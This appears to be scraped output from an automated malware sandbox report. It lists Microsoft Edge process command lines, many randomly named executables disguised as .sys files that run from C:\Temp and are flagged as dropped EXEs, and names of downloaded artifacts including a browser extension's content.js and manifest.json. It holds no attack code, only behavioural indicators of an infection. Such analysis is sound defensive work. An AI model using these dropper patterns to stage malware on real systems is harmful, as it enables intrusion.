C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3980,i,299028619596078438,15712230246979979859,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4324,i,14112759759663416232,15532532760178469023,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4296,i,7025414367827628749,5620960507718895884,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3496,i,7551137115313341351,17295266750996344418,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5592,i,3709456431367603632,2121232095678022401,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4936,i,7047695814903722503,10536916050608181444,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,9441227582838158156,1946337582661518252,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,17562468403707725796,14360936114125408944,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2240,i,15912024742031280317,12840758209885961736,262144 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,7813785467979915538,7365481541169329824,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,11967534444244585341,15261348110478889017,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\omgerojgbztrljeb.sysC:\Temp\omgerojgbztrljeb.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\dbvtoljgby.sysC:\Temp\dbvtoljgby.sys1⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdbv.sysC:\Temp\gaytqljdbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\fayvqnifda.sysC:\Temp\fayvqnifda.sys1⤵
- Executes dropped EXE
-
C:\Temp\avsnkicaus.sysC:\Temp\avsnkicaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkfcauspki.sysC:\Temp\mkfcauspki.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpmhczusmk.sysC:\Temp\rpmhczusmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\ecwurmjhbz.sysC:\Temp\ecwurmjhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\hbztrljdbz.sysC:\Temp\hbztrljdbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\bztqoljdby.sysC:\Temp\bztqoljdby.sys1⤵
- Executes dropped EXE
-
C:\Temp\aytqljdavt.sysC:\Temp\aytqljdavt.sys1⤵
- Executes dropped EXE
-
C:\Temp\aysqligdyv.sysC:\Temp\aysqligdyv.sys1⤵
-
C:\Temp\daysqfausq.sysC:\Temp\daysqfausq.sys1⤵
-
C:\Temp\vsnhfaxsqk.sysC:\Temp\vsnhfaxsqk.sys1⤵
-
C:\Temp\kiczusmkec.sysC:\Temp\kiczusmkec.sys1⤵
-
C:\Temp\ezxrpmhecw.sysC:\Temp\ezxrpmhecw.sys1⤵
-
C:\Temp\pjhbzwuomz.sysC:\Temp\pjhbzwuomz.sys1⤵
-
C:\Temp\geywrojhbz.sysC:\Temp\geywrojhbz.sys1⤵
-
C:\Temp\ztqolgdbyw.sysC:\Temp\ztqolgdbyw.sys1⤵
-
C:\Temp\dyvtnlgdbv.sysC:\Temp\dyvtnlgdbv.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
avsnkicaus.sys
dbvtoljgby.sys
ecxupmhfzx.exe
fayvqnifda.sys
gaytqljdbv.sys
i_mgebwtrljd.exe
i_vqoigayvqo.exe
i_vsnkfcxusq.exe
i_vtnlfdxqni.exe
i_wlgeyvqoig.exe
mgebwtrljd.exe
mkfcauspki.sys
omgerojgbztrljeb.exe
omgerojgbztrljeb.sys
vqoigayvqo.exe
vsnkfcxusq.exe
vtnlfdxqni.exe
wlgeyvqoig.exe
149c7506-fada-4790-8e5f-bc506f425598.tmp
26b73e70-c1f4-45d5-829a-aa2617a71b2e.tmp
2c30d555-98e8-4eb2-8e79-3e4ba62089b7.tmp
42e038eb-b458-45fe-bc0b-83ec1377d7aa.tmp
settings.dat
settings.dat
6a5f24e9-d4e1-4a8b-a234-b5b69fec8856.tmp
93cf9b2e-24e2-4062-968d-2fc540465805.tmp
the-real-index
the-real-index
7779b351-e40e-4906-8ded-5ca2a6bbb2e8.tmp
Edge Profile.ico
096326ab-244b-430c-bfe8-e8c4bee8f03c.tmp
90cd9b4c-78b6-49ea-811b-3dbfba36a7fa.tmp
ceef192b-4d29-4f95-96f1-b866e7a7c183.tmp
af5aed17-1130-4252-b246-097dfb8eaae8.tmp
b5df0636-c24b-414f-ab9a-cfb62c9d0026.tmp
OperationConfig
d33ede88-fc4d-4b14-bb9c-52a4c4b3e33e.tmp
29b05b82-c31e-42b6-8b83-39f4b664027d.tmp
6ca49439-8666-4e6d-bb7f-271b3d9bee78.tmp
ab549368-195c-469f-941b-d58a8a76faee.tmp
d9e7354d-7334-4c65-a1e4-3251356bd461.tmp
de2fa407-c260-4f87-9597-418ba2e862e5.tmp
8d44d378-22d7-4fb4-9369-6a0d1950613b.tmp
fd487c89-4b71-462b-8955-cf892e3dd9ac.tmp
f891d12d-f4ea-4755-bc2b-576831448157.tmp
fc24786d-87fa-407f-ba65-ead2df0df5be.tmp
content.js
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/356-345-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/804-302-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1568-282-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1940-64-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1976-456-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2004-475-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2564-336-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2664-316-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2928-320-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2956-242-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3448-193-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4204-270-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4352-480-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5324-436-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5336-500-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5568-424-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5588-398-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5796-412-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5796-370-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5860-504-0x0000000000010000-0x00000000000AB000-memory.dmp